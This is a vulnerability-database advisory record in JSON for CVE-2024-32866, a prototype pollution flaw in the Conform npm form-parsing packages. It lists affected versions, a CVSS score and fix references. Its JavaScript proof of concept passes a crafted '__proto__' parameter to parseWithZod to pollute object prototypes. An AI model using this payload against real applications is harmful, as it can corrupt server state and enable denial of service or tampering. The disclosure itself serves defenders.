{"id":"CVE-2024-32866","aliases":["GHSA-624g-8qjg-8qxf"],"url":"https://o3.security/vulnerability/CVE-2024-32866","summary":"Conform contains Prototype Pollution Vulnerability in `parseWith...` function","details":"### Summary\nConform allows the parsing of nested objects in the form of `object.property`. Due to an improper implementation of this feature, an attacker can exploit it to trigger prototype pollution by passing a crafted input to `parseWith...` functions.\n\n### PoC\n```javascript\nconst { parseWithZod } = require('@conform-to/zod');\nconst { z } = require(\"zod\"); \n\nconst param = new URLSearchParams(\"__proto__.pollution=polluted\");\nconst schema = z.object({ \"a\": z.string() });\n\nparseWithZod(param, { schema });\nconsole.log(\"pollution:\", ({}).pollution); // should print \"polluted\"\n```\n\n### Details\n\nThe invocation of the `parseWithZod` function in the above PoC triggers the `setValue` function through `getSubmissionContext` and `parse`, executing the following process, resulting in prototype pollution:\n\n```javascript\nlet pointer = value;\n\npointer.__proto__ = pointer.__proto__;\npointer = pointer.__proto__;\n\npointer.polluted = \"polluted\";\n```\n\nThis is caused by the lack of object existence checking on [line 117 in formdata.ts](https://github.com/edmundhung/conform/blob/59156d7115a7207fa3b6f8a70a4342a9b24c2501/packages/conform-dom/formdata.ts#L117), where the code only checks for the presence of `pointer[key]` without proper validation.\n\n### Impact\nApplications that use conform for server-side validation of form data or URL parameters are affected by this vulnerability.\n","published":"2024-04-23T21:07:06.216Z","modified":"2026-10-28T02:30:33.636011028Z","cvss":{"score":8.6,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@conform-to/dom","fixedVersion":"1.1.1"},{"ecosystem":"npm","name":"@conform-to/zod","fixedVersion":"1.1.1"},{"ecosystem":"npm","name":"@conform-to/yup","fixedVersion":"1.1.1"},{"ecosystem":"npm","name":"@conform-to/zod","fixedVersion":"0.9.2"},{"ecosystem":"npm","name":"@conform-to/yup","fixedVersion":"0.9.2"},{"ecosystem":"npm","name":"@conform-to/dom","fixedVersion":"0.9.2"}],"fix":{"url":"https://github.com/edmundhung/conform/commit/4819d51b5a53fd5486fc85c17cdc148eb160e3de","label":"edmundhung/conform@4819d51"},"references":[{"type":"WEB","url":"https://github.com/edmundhung/conform/blob/59156d7115a7207fa3b6f8a70a4342a9b24c2501/packages/conform-dom/formdata.ts#L117"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/32xxx/CVE-2024-32866.json"},{"type":"ADVISORY","url":"https://github.com/edmundhung/conform/security/advisories/GHSA-624g-8qjg-8qxf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-32866"},{"type":"FIX","url":"https://github.com/edmundhung/conform/commit/4819d51b5a53fd5486fc85c17cdc148eb160e3de"},{"type":"WEB","url":"https://github.com/edmundhung/conform/commit/cb604dd58b99e2d12716d901a23bfca724e741ef"},{"type":"PACKAGE","url":"https://github.com/edmundhung/conform"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:33.636011028Z"}}